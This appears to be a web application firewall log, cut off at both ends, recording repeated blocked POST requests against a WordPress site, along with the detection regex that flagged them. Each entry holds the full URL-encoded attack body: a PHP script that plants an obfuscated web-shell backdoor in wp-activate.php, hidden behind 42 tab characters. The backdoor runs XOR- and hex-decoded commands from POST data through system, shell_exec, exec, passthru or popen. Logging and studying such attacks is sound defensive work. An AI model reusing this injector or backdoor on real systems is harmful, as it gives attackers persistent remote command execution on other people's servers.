%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:25","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:5290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEH4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nEN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:28","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ud:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:5290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIJDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nUd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:30","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:5290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 